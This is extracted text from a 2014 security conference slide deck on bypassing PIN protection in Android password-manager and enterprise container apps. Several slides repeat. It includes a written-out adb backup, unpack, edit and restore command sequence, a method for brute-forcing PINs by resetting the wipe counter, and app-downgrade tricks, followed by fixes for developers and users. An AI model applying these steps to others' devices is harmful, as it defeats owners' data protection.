adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 92: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 93: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

